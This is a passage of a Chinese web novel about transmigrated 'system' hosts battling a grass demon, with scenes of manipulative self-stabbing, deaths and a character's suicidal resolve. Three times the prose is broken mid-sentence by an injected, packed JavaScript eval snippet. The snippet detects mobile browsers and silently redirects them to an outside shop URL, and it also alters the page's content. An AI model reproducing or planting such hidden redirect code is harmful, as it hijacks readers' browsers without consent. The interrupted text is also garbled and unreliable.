方冥深强行掩下身体的不适,抬头看向草木之间。
“你就是那狗尾妖?”
疑问句,却是陈述的语气。
“是我。”
万株草木瞬时朝四周散开,一位女子从中走出。
她着一身精致编织的落地花裙,无数绒尾点缀其间,露出的肌肤上尽是青色藤蔓刺青,蔓延于她的脸颊眉间,与她天然为一体。
女子相貌普通,唯有一双诡谲绿眸,仿若至阴毒蛇,瞧上一眼,便令人心尖发颤。
她看着方冥深,嘴角蔓延上了一股阴毒的笑意:“终于找到你了,我苦苦寻觅的特殊灵体。”
方冥深挣扎着站起,与狗尾妖对视:“你在找我?什么意思?”
自发现被狗尾妖掳至此处,方冥深就知晓,这次任务恐怕没有他想象地这么简单。
若要完成任务,他必须在惨败对象面前生还,他原以为方才只要自己落败重伤,就能完成任务。
现在想来,对方的目标恐怕从始至终都是自己。
狗尾妖昂头大笑,数秒后,才轻蔑地说道:“你在明知故问些什么?”
方冥深眸底闪过一丝暗光。
狗尾妖走向他,身上绒绒毛羽随风摇荡。
走至方冥深身侧,她才继续道:“我虽不知你究竟是何来头,但你决然非等闲之辈,你的身上有着全然不同于整座无尘大陆的气息。若我没猜错,你恐怕是外来闯入者。”
话落,方冥深眸光更沉。
眼前的情况竟比他想象得还要严重万分。
她竟知晓自己的身份。
他进入虚拟世界已有一年光景,穿梭过数十个世界,这是第一次被人揭穿。
狗尾妖见他眼神转变,眼底兴奋更甚:“想不到吧?其实你的身份真的很难发现,可以说整个无尘大陆只有我才能发觉,因为唯有至低微小感知力却强大的妖,才能发觉特殊灵体的存在。”
“没想到吧,普通的狗尾草最渴望的东西就是特殊体,从而脱胎换骨,再不受人指摘。而你恰好出现,我怎能放过?”
“我真的等你太久了,”狗尾妖道,“我的族人因普通低微,为人妖界所不容,人界因我们是妖厌恶我们,要除灭我们,妖界因我们灵力低微欺辱我们,要我们臣服于它们忍受一切。”
似是想起曾经被追杀辱打的往事,狗尾妖越说越激动,声音高亢道:“但我们做错了什么!我们不过因为是低等妖精,吸食乌暗之力,甚至从未伤害任何人,全世界都要与我们为敌!我告诉你,从今日起,一切都将改变!我要所有人所有妖,为它们的所作所为付出代价!”
狗尾妖说罢,驱使妖力,一时间,数千妖尾拔地而起,将方冥深捆绑地几乎密不透风,只露出了一张被青铜面具遮住的脸。
“你要做什么?”方冥深暗自动用灵力,可在狗尾妖庞大的妖力之下,不过只是石子丢入大海,根本无法撼动她分毫。
狗尾妖绿眸紧盯着他,笑得愈发放肆,原本柔和的声音逐渐变得扭曲:“放心,我暂时还不会杀了你,我会一点点吸食你的特殊灵体,直到你与我彻底融为一体。我的妖力只要蕴上特殊灵力,便不再普通,而是至高无上!”
“你好好看着吧,整座无尘大陆,都要为他们曾经的所作所为付出代价。”
她的绿眸明亮,仿佛已胸有成竹。
方冥深望着她,琥珀色的眼底没有惧怕与忧虑。
狗尾妖说的话恐怕句句属实,他必须想办法离开这里。
若真的让她将自己蚕食殆尽,恐怕这个世界将会迎来真正的毁灭。
那厢,月不信等人仍在原地。
距离方冥深失踪已然过了半个时辰,这半个时辰狗尾妖毫无动作,一切风平浪静地近乎诡异。
但一行人都明白,这不过是暴风雨前的宁静。
一旁,月不信已然打坐了许久,以灵识寻觅狗尾妖的行踪。秦逢溪等人则在其畔等候着。
突然,月不信猛然睁眸,突然吐出了一口鲜血。
他沉声道:“找到了。”
萧肃看见他的状态,赶忙上前扶住了月不信:“三长老,你还好吗?”
“我没事。”月不信道,气息有些紊乱道,“那妖孽不知使了什么招数,气息极为隐匿,我动用了本源之力才破开了它的屏障。我们必须尽快赶过去,它的力量不知怎的,越来越强了。若是再晚,恐怕连我也不会是它的对手。”
话落,在场众人都感知到了这句话的严重性。
连月不信都难以抵挡的存在,那狗尾妖究竟做了什么?
唯有秦逢溪,死咬着下唇,仿佛窥见了几分。
一切与剧情相差愈来愈远,而唯一的变量,就是方冥深。
恐怕这一切都与他有关。
或者说,与系统有关。
月不信运功恢复了几分状态,随之站起,道:“你们留在这里,我去会会那妖孽。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408947|200642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不!三长老,我们跟您一起去。”萧肃道。
“对,我们跟您一起去!”苏流璎也道。
“这是命令!”月不信呵道。
“若是一个时辰后,我没有回来,你们立马回洪泽宗,将这一切告知宗长,让他立刻带人过来。”
月不信的声音里有着前所未有的沉重。
“可是……”萧肃还想再说些什么。
“连我的话都不听了吗!”月不信睨他一眼。
“……是。”萧肃垂眸,说道。
他的眼里带着悲意,能让月不信如此忌惮甚至要只身前往的敌人,恐怕就算他们一起去,结果也不会好多少。
月不信这番话,显然是为了保护他们,可越是这样说,他的话越发不像警告,更像是……遗言。
月不信说完,不再停留,驱动灵力,几乎是瞬间就消失在了众人的眼里。
“师兄……怎会如此?狗尾妖不是至低妖吗?怎会连三长老也这样忌惮?”苏流璎眼底满是不可置信,忧心忡忡道。
萧肃摇头道:“我也不知道事情怎么会发展成这样,但我们不能完全坐以待毙,从现在开始,我们轮流站岗,其余人全力将状态调至最佳,如果真的到了极为危急的情况……我们不能拖三长老的后腿,明白了吗?”
时然、菱智、巧蕊看着他,坚定地点了点头。
苏流璎沉吟了片刻,也重重地点了点头。
秦逢溪此刻已将下唇咬得渗出了血迹,没有回答。
不会这么简单的……秦逢溪想。
下一瞬,嘹亮惊悚的笑声划破了天空。众人赶忙循声望去。
“哈哈哈哈哈哈,你们真是想得周到啊,但不管是你们还是月不信,都无法活着离开这里。”
话落,数以万计的妖尾再度猛然朝着众人袭来,可是这一次妖力却比先前强了十倍!
“迎敌!”萧肃大声道。众人再度以先前的阵型站好,脸色却比先前更惨白。
无数荆棘划破了前排萧肃、苏流璎等人的道衫,她们半步不退,全力鏖战。
这一次,狗尾妖的攻势却越来越猛,众人半秒也不敢懈怠。
秦逢溪持续不断的透支自己的灵力以支援队友,眸光炯炯,心下也一刻不停地在思考。
她必须想到破局之法,但眼下的情况却无法为她的计划腾出时间。
众人与狗尾妖的战役持续了十数分钟,攻势猛烈的狗尾妖却突然止停。
众人脸上已生出几分疲态,尤其是苏流璎,脸上已全是触目的伤痕。
“怎么回事?”萧肃道。
绝不可能是狗尾妖妖力不济,发生了什么?
狗尾妖的声音却再度出现。
“老东西,你竟用出了你的本源之力要跟我拼吗?哈哈哈哈哈哈,早知如此,你们又怎敢瞧不起我?等着吧,今天我就让你的弟子为你陪葬!”
话毕,熟悉的妖尾却没有再度出现。
就在众人疑惑之间,思绥城厚重的古城门,突然打开。
秦逢溪的杏眸突然睁大。
乌泱泱眼神空洞的百姓,突然排成数排,朝众人奔来。
她竟然可以驱动人类!
13. M
成千上万的布衣百姓,低声呢喃着什么,她们的身体散着淡淡的黑气,显然已被夺舍。
可她们的身上,却仍有生息,绝非死物。
原本众人要解救的对象,此刻现身却是以如此的方式。
而她们最终的目标,赫然是秦逢溪一行人。
眼看百姓离自己愈来愈近,苏流璎的脸色愈发深沉:“师兄,这怎么办?”
狗尾妖这招分明是想让她们与百姓自相残杀。
萧肃凝神道:“全力防御!不要伤害她们。”
“好!”众人回道,随之列阵防御。
灵光骤亮,幻成一座近乎实质的圆形护罩,将众人笼罩其中。
数百名百姓围在护罩之外,奋力捶打着护罩,阴测测的眼睛死死盯着众人。
但空中回荡的声音却从未想过放过她们。
“你们以为这样就可以了吗?真是天真。”
“你们这帮修仙者自视清高,打着匡扶正义的旗号残杀我族民,今日,就让你们尝尝自相残杀的滋味。看看你们究竟有没有自己所谓的这么正道。”
话落,护罩最前端的数百位百姓忽而全身抽搐起来,随后眼眸由乌黑转为刺目的猩红,奋力朝着护罩撞去。
每撞一下,她们的头和肢体便会因重击渗出血液,可她们却恍若不知疼痛一般再度奋力撞了上去。
若萧肃等人不收掉护罩,这些百姓必然会因撞击受重伤,最终死亡!
秦逢溪和巧蕊不得不分心将一部分的灵力传到这些百姓身上以保护她们。
可这根本不是长久之计,狗尾妖可操控数万百姓,秦逢溪等人的灵力需要化为两股输出,总有枯竭之时。
该怎么办。不能伤害她们,可是再这样下去,谁也无法脱身。
萧肃仍维持着护罩,沉声:“不能再这样下去了,必须尽快回宗门请求支援。”
“流璎,稍后我会打开结界护你离开,你务必以最快的速度回宗门去。我们留在这里等三长老的消息。”
“不行!师兄!我不能放你一人在此!”苏流璎听罢,知晓这句话的沉重,眼里都噙了几分泪意。
“这里你的速度是最快的,听从命令!”萧肃的声音带着不容置噱的语气,冷硬地说道。
时然也道:“师兄已经这么说了,流璎,你就听他的吧。”
苏流璎的泪水于脸颊划落,知道自己已然不可再推阻,强忍着点了点头。
“逢溪,时然,辅助我,菱智,结界打开以后你与我一起控制住百姓,巧蕊,若有百姓重伤,尽量保住她们的性命。”
“是!”众人道。
秦逢溪大脑飞速运转,可最优的解法也只能保住她自己。
她突然感到一股庞大的无力感,面对这个所有感受都无比真实的虚拟世界,她竟有了这样的感觉。
可如果注定只能保全自己,秦逢溪也已别无它选。
这一次,她只能祝方冥深好运。
她竟是有几分在意他的,或许因为自己曾救过他,或许是因为他的那双眼睛。
可她已无法再救他了。
结界,终于在迫不得已之下被打开了。
萧肃等人驱动灵力阻挡着朝众人攻击的百姓,苏流璎见状,运功朝另一处飞去。
“想跑吗?你跑的掉吗?”
虚空之中,狗尾妖的声音如噩梦一般出现,令人难以忽视。
苏流璎几乎全速飞行,但萧肃最前方的一名布衣男子,忽而周身膨胀了数米,人脸被无数狗尾草吞噬,成了一个人形怪物,猛地朝苏流璎奔去!
他竟被那狗尾妖的分身上了身!
若是一行人聚在一起,或许还难以迅速突破,可此刻苏流璎只身一人在远处,愈发膨胀的妖气在分身上弥漫,它的妖尾呈现血红的荆棘模样,朝着苏流璎刺去。
妖力之庞大,恐怕这一击下,苏流璎非死即伤。
萧肃见状,赶忙飞到苏流璎身前,要同她一起抵挡这一击。
冲天的血色朝着二人袭来!
千钧一发之际,苏流璎周身白光大放,她竟用全力将萧肃从自己的面前推开。
萧肃大喊道:“流璎,不要!”
但为时已晚。
锋利的荆棘,片刻便贯穿了苏流璎的身体。
苏流璎吐出大口鲜血,看着不可置信的萧肃。
她轻轻地扯出了一抹笑意。
随后,红衣自高空猛然坠落。
苏流璎死了。
“流璎!”
时然、菱智也呼喊着她的名字,可她以不会再听到了。
秦逢溪目光呆滞地看着这一幕。
她穿梭过无数个世界,可她从未真的亲见过她人的死亡。
她甚至条件反射性地想吐。
不可以再拖了。
萧肃双目猩红,几乎是用全力向那分身刺去了自己的佩剑。
同门师妹死在自己的面前,他几乎瞬时失了理智。
可就在佩剑落在那分身的前一秒,无数狗尾散去,一个普通男人的脸再度露了出来。
他竟短暂的恢复了神智,看着压迫力极强的白光出现在自己面前,骤然瞪大了双眼。
萧肃目光恢复了几分清明,想要制止,可已经来不及。
向来只斩妖魔的佩剑,贯穿了那个男人的心脏。
他不过清醒了两秒,眼眸仍是睁大的样子,可眸光却暗去,再也没了生息。
狗尾妖的笑声再也止不住。
“真是一出好戏啊哈哈哈哈哈哈。”
“怎么样,”她的声音带着残忍的快感,“看着族人死在自己的面前的滋味不好受吧?你们这帮人类杀害我族人的时候,我就是这样的心情,今日终于也让你们得以尝到。”
话落,每一个人的脸上都满是黯然与绝望。
她们本持着斩妖除魔的心前来,可是在几乎难以匹敌的力量面前,她们竟毫无反手之力。
尤其是萧肃,他跪坐在苏流璎残破的尸体面前,低着头,几乎失去了一切的心气。
秦逢溪在地上捡了一支狗尾妖在攻击中断落的妖尾,突然朝着萧肃跑去。
狗尾妖见状,笑道:“你也想送死啊?”
但她充耳未闻。
她知道狗尾妖此刻力量之庞大,但她赌在释放了一次分身以后对方无法立刻再出一具,三长老一定还在那边牵制她的本体,她应当不可能会强大到这种地步。
现在这个间隙是秦逢溪唯一的机会。
她在这个世界并没有什么极为优越的本事。
唯有一件,就是她拥有系统。
只要完成100的谄媚值,她就能离开这里。
她跑到萧肃面前,躲坐在地,看着他道:“大师兄,我知道你现在很难过,可如果你不振作起来,死去的不会只有一个苏流璎。”
萧肃低着头,仿佛没有听见她的话一般。
但她知道主角从不是会被轻易打败的。
秦逢溪继续道:“大师兄,你一直是我的榜样,今天,就让我为你做点什么吧。”
说完,她抄起方才拾起的妖尾,狠了狠心,朝自己的胸口扎去。
“嘶。”她疼的倒吸了一口凉气,甚至眼泪也开始往上翻涌。
萧肃听到动静,如雕塑般的身体突然抬头看着她。
理智回笼,萧肃惊道:“你这是做什么!”
秦逢溪笑着,强忍痛楚道:“大师兄,我跟你说过的,每个人都有自己的秘密。我可以预知一部分的未来是一个,还有一个。”
“只要我重伤到濒死,我的力量会爆发数百倍,届时,我可以用我的生命,将这些力量传输给一个人。”
“这是绝境,但我相信,你拥有绝处逢生的能力。”
秦逢溪抽出妖尾,再度狠狠地扎了进去。
她看见谄媚值的升起。
谎言有时候并非无用,甚至多个谎言可以让人真正做到难辨真伪。
此刻,没有什么能真正激荡起萧肃几乎冰封的心,所以秦逢溪只能用自己的命来赌。
横竖都是一死,她必须拼出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408948|200642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一条路来。
“大师兄,我知道,在你面前,我只是一个普通的不能再普通的人。”
秦逢溪疼的想龇牙咧嘴,但她却拼命将自己的神情装得无比欣赏与仰慕,强压下所有的不适与痛苦。
“但在我心里,你永远是我的偶像,我愿意为了你付出一切,我永远会是你最忠实的跟随者。”
她哇地吐出一口鲜血,萧肃赶忙想过来扶住她。
那厢众人失去了萧肃这一主力,节节败退,灵力飞速流逝,也几乎快扛不住了。
秦逢溪望向那边众人,又将目光重新投到了萧肃身上。
“大师兄,我们不能没有你。如果可以有来世,我还是想跟随在你的左右。”
她第三次将妖尾扎进自己羸弱的身体。
萧肃将手抬起,想要制止她的动作。
“不要。”萧肃道。
秦逢溪再度轻轻笑起来。
萧肃头上的数值开始攀升,最终停在了九十八。
秦逢溪抽开他的手,奋力刺向自己!
“大师兄。”
鲜血蔓延在秦逢溪荧黄的衣裙之上,显得触目惊心。
“一定要成为最厉害的人啊,这样我才能安心。稍后我的力量会全部传输给你,你……你一定会……”
她已再撑不住,萧肃赶忙扶住她。
秦逢溪的目光死死盯着他头上的数值,用只有两个人才能听到的声音竭力道:“会赢……”
九十九……
眼见数值还未上升,秦逢溪几乎快急血攻心,强撑着最后一丝力气,昧着良心道:
“大师兄,为你而死,是我的荣幸……”
一百!
就在秦逢溪快晕厥过去之时,系统提示音终于响起。
“恭喜宿主完成任务,奖励翻倍,十分钟后将送您回到现实世界。”
她瘫倒在萧肃的身上,感受着自己生命力的流逝。
秦逢溪知道自己赌赢了。
可她还想再赌一次。
她突然在识海之中,一遍一遍叫着系统的名字。
谄媚系统自一年起就出现在她的识海之中,可它从来只是机械地分发任务,从来没和秦逢溪有过交谈。
“系统!你说话啊!”秦逢溪呼喊道。
她不知道自己还能不能撑过这十分钟,几乎用了全部的力气试图唤醒它。
“方冥深也有系统,那个狗尾妖是不是因为这个把他抓走的,你们工作失职,为什么不出现?”
她一遍一遍,一遍一遍地喊道。
“我快死了……你们工作失职,两个人都要被你们害死,还不出现吗?”
秦逢溪再度吐出了一口鲜血,深重的痛感攀爬在她的每分每寸。
她用妖尾刺向自己,就是为了加速消耗自己的生命力,让萧肃对自己有更深的恻隐之心。
可这也让她几乎没有退路。
如果她只是不说话保留体力,或许能撑到十分钟,但秦逢溪不想赌她的身体是否能撑过。
她想赌一个真相。
约莫五分钟后,秦逢溪所有的力气都消耗殆尽。
她吐出一口又一口的鲜血,整张小巧的脸都变得可怖。
她等不到了。
她要死了。
秦逢溪不怕死,或者说,她知道自己早就应该死去了。
再她的意识彻底消失以前,她突然想到了那一双琥珀色的眼睛。
穆景深……
她突然低低呢喃道。像呢喃一个幻想。
那是她一生为数不多的幻想。
守在一旁的萧肃见她已全然没了生息,呼唤道:“逢溪?逢溪!逢溪!”
下一瞬,世界停滞。
呼唤着秦逢溪的萧肃,想要伸手探她鼻息的手停在了半空,疲于应战的不远处众人驱动灵力的手也停住,不知疲倦攻击的百姓也不再迈步,空洞的眼眸盯着虚空。
一阵机械的声音突然出现。
“宿主,我来了。感谢您呼唤我,指出了我的失职。”
14. N
在世界安静仿若梦魇的时刻,系统声音的出现,让秦逢溪在第一时间以为是自己临死前的幻听。
睫羽轻颤,秦逢溪的生命力在飞速流逝,血块凝在她的唇角,她微微张开嘴,却再也没有力气说一个字。
她终于支撑不住、昏迷了过去。
几乎是在她昏迷的同个瞬间,一阵闪耀而柔暖的白色光团,忽而由天而降,将秦逢溪包裹其中。
在这光团之中,秦逢溪身上的血迹与伤痕以极快的速度愈合,不过几个呼吸之间,她身上的伤口便消失不见。
她的生命力也在这段时间里尽数回归,甚而较之先前更强劲了几分,连带着在这个世界的修为也隐隐有了突破瓶颈之势。
原本必死无疑的秦逢溪,眉头微皱,再度睁开了一双杏眸。
她吐出了一口浊气,撑坐了起来。
秦逢溪凝神,看着周围已成静态的景致。
无风无波,连草木也不再轻微的晃动,眼前的人类与妖族都被强制按下了止停键。
她的意识也终于回笼,轻声呢喃道:“我不是死了吗?”
一股小而圆的白色光团,忽然自她身上飞跃而出,落在她的身侧。
白色光团微微颤动,道:“宿主,您好,我是您的系统,代号5806。”
秦逢溪看着这股光团,终于想起自己方才临死前的那阵声音。
原来不是幻听。
她不顾一切做了生命的赌徒,这一次,她还是赌对了。
思及此,秦逢溪颔首,却没回应。
系统知晓此刻自己的宿主对自己必然有着千般不满,机械的声音缓声道:“宿主,我知道您对我早已有无数疑问,但基于职业守则,很抱歉我不能将个中原因感知于您。但您指出了我的失职,因而再此,我有一些补偿方案可供选择,不知您是否愿意听。”
秦逢溪看着它,沉默了数秒,道:“你说。”
听到她的回答,系统继续道:“在我职业范围内,可以提供给您三个补偿。”
“一,自本次任务开始,给您的奖励将翻五十倍。二,您将拥有对书籍世界半个时辰的掌控权。三,在最终任务结算完成时,您将短暂成为系统的一员,同时您将得到一枚通行符。”
“您可在其中任选两个。”系统道。
秦逢溪仔细听着,但除了第一个她能听懂,其余两个她都有些疑惑。
系统给她的奖励毫无疑问是钱财,一年前,在她最落魄的时候,谄媚系统横空出现,将深受抑郁其中的她拽进了书中世界,同时给出了她难以拒绝的奖励。
那时的秦逢溪,的确非常需要钱。可她不愿生活在那个伤她至深的现实世界,所以接受了系统的契约。
那时秦逢溪就隐约察觉到了奇异之处。
就好像,系统有一双可以洞悉秦逢溪灵魂的眼睛,知道说出什么会令她动容。甚至它设置的奖励也是逐渐递增,从最初的小额奖励到如今以万而计。
仿佛……就是为了留住她一般。
可理由是什么呢?秦逢溪至今仍然不明白。
秦逢溪按下心中汹涌的疑问,问道:“第二个和第三个是什么意思?”
白色光团亮着柔暖的微光,回答道:“所谓半个时辰的掌控权,即您可选择以如今时空凝滞的状态随意穿梭于该书中世界,期间无论您做什么,只要不违反宇宙公约,都可被允许。该奖励将持续生效于您之后执行任务的世界之中。”
“宇宙公约?那又是什么?”
系统道:“通俗来说,只要您不将这个世界闹得天翻地覆,如将主角尽数杀害、炸毁这个星球云云,其余的您都可以做。”
秦逢溪眉眼微动。
秦逢溪继续道:“那第三个呢?成为系统和通行符又是什么?”
这一次,系统不似先前那般迅速回应,而是沉默了片刻才道:“这涉及到了您的未来,恕我难以现在告知于您,您此次经历的一切,属于本部的失职,令该世界的妖族注意到了您,因此我特地向上级申请了这个方案,请相信我,您值得这个补偿。”
系统说的话显然有些绕圈子,但秦逢溪敏锐地捕捉到了什么。
她知晓这个世界的大概进程,是因为她站在了另一个纬度,如同先前她对萧肃所言自己拥有预知的能力。
那么作为更高纬度的系统,它是否也提前预知了些什么?
秦逢溪有一种极为强烈的直觉,第三个补偿方案她必须选。
但在第一个和第二个之间,她还是沉默了片刻。
若选第一个,毫无疑问她会在极快的时间内拥有相当可观的收入,此后在现实世界,几乎很难有钱财的问题可以再难倒她。
可第二个,对她的吸引力却显然更大。
秦逢溪阖上眸子,忆起了那面青铜面具。
她轻声道:“方冥深就是我的任务伙伴吧。如果稍后我直接离开这个世界,他会怎么样?”
系统机械的声音回答道:“宿主,您很聪明,但我必须对您说一声抱歉,二位虽为系统共有者,但系统之间并不互通,若他没有唤醒属于他的系统,之后会发生什么我也不知情。”
“但他同样也是受害者不是吗?”秦逢溪拧眉,显然对这个回答极为不满。
“唯有在宿主出现求生欲望且强行召唤之时,我们才会出现,那位……并不如您一般,他心存死志,若您再晚片刻召唤我,那位已经死了。”
这一句话,扰乱了秦逢溪终于平静下的心神。
她惊道:“你是说,他要自杀?”
“是的,”系统道,“与其被这个世界的妖族将力量尽数据为己有,不如死去,令妖族难以再利用自己来的干净。在我方才片刻的感知之中,那位存了强烈的这样的心思。”
话落,秦逢溪默了。
她对方冥深,并没有极为强烈的感情,但听到系统的话,还是泛起了一番波澜。
她回道:“我选择第二个和第三个。”
系统并不感到惊讶,应道:“好的。”
片刻后,它又道:“您是为了那位吗?”
这句话显然超脱了它的职责范围,显然是它自身的提问。
虽然不知为何系统为何有此一问,秦逢溪还是回道:“不是。”
她回答地干净利落,显然不是假话。
系统不再追问,回道:“好的。”
“稍后将把奖励发送到您的身上,邮件送达之时立刻生效。我的任务已经完成,该跟您道别了。”
秦逢溪抬头,看向身前这团莹白的光团:“你又要走了?”
“是的,”系统回道,“我的主要任务并非陪伴宿主完成修炼,但基于今日之事,日后若您有需要召唤我,只需在心中默念十遍,我便会出现。”
至此,秦逢溪的目的算达成了一半,她知晓系统在隐藏着什么,但她还是问出了自己一直以来都想知道的事。
“我什么时候会离开这里?你从没告诉过我,我为什么而来,又会因什么而离开。”
从秦逢溪第一次进这个世界开始,迎接她的便只有冰冷的文字,哪怕是如今可以与她交流的系统,严格而言也只是第一次见面。
“宿主,您来到这里的理由和离开这里的原因,其实很简单。当您不再是最初的那个您,也就不再有留在这里的必要。我言尽于此。”
“宿主,期待下一次与您见面,我先告辞了。”
说完最后一句话,光团骤然收缩,幻化成了一个微小的光点,飞速回到了秦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408949|200642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逢溪的体内,再度消失不见。
秦逢溪微怔,随后开始思考系统的那一番话。
不再是最初的那个她吗?
她忆起一年前的那个自己,一双新月眉逐渐蹙起。
沉思间,系统提示音于识海中响起。
“宿主您好,您的奖励已到账,请查收。”
仍旧是机械的提示音,却比先前那团光晕的声音更加冰冷。
秦逢溪知道,那个同她交谈的系统的确已经离开了。
她点进系统邮件,选择了第二个奖励。
提示音再度出现:“请问您是否要在本世界使用该奖励?如您需要,请按‘确认’,如不需要,请按‘取消’。”
秦逢溪没有犹豫地点击了“确认”。
世界诡异地颤动了两秒,仿佛连时空也扭曲了片刻。分明一切都没有改变,但又仿佛有什么东西于泥泞之中破土而出。
“奖励已生效,”冰冷的机械音道,“半个时辰内,本世界将持续凝滞,您可任意选择对象恢复神智,时间一到,您将回归现实世界。祝您好运。”
秦逢溪站了起来,拍了拍自己身上的灰尘。
一双杏眸盯着前方的思绥城,她知道,她的时间不多。
*
方冥深决定去死。
他体内的力量源源不断地朝着狗尾妖涌入,他知道,若是再拖延下去,他会成为一具干瘪的尸体。
狗尾妖的力量愈来愈强,甚至前来寻她的三长老也节节败退、落得下风。
狗尾妖看着三长老,笑道:“月不信,你不会是我的对手,再过一刻钟,这个世界再也没人能拦住我!”
月不信看着她,“哇”地吐出了一口鲜血,但他没有退,而是撑着因强行使用本源之力、飞速老化的身体,沉声道:“妖孽,只要老夫还在,你就休想得逞!”
方冥深收回了目光,他知道月不信再怎么消耗自己,也不过是同样的结局。
但下一刻,一具花白头发的尸体躺在脚下的时候,方冥深的心还是猛地揪紧了。
月不信死了。
这个世界里一人之下万人之上,本应无限光华的洪泽宗三长老死了。
狗尾妖的笑容愈发放肆,仿佛颇为畅快:“什么洪泽宗的三长老,也不过如此,待我踏平整个无尘大陆,让你们知道谁才是真正的主人!”
她走近方冥深,邪魅的绿眸描摹着他的轮廓:“看到了吗?你的力量竟是这样庞大,从此为我所用,也算你死得其所。”
方冥深别开眼,悄然升腾的灵力已凝结完备。
他不畏惧死亡,或者说,他对此隐隐有些趋之若鹜。
哪怕这些日子,他也曾有过动摇的时刻。
但锥心刺骨的痛苦和眼见利用自己的狗尾妖愈来愈强,方冥深厌恶了。
宁愿死,他也不愿意让自己死得这样狼狈,作为傀儡助长恶人之势。
他方才趁狗尾妖不备将全部的灵力蕴在了颅内,只消一个念头,就可以将自己的头颅炸穿。
方冥深已经准备好了。
所有的灵力已经凝于识海,方冥深阖上眸子。
生命最后的时刻,他想起了一张小巧的脸蛋,杏眼如星、月眉温柔。
没想到最后,他还会有牵挂几分的人。
方冥深的嘴角逐渐现出了一抹笑意。
再见。
这一刻,比他人生中的许多时刻都要漫长。
仿佛那个人,已经蔓延进了他的世界,长久地渗透了一般。
“方冥深!”
就在千钧一发之际,一道焦急而熟悉的声音,骤然出现在了一个她绝不可能出现的地方。
仿若神明一般。
方冥深猛地睁眸。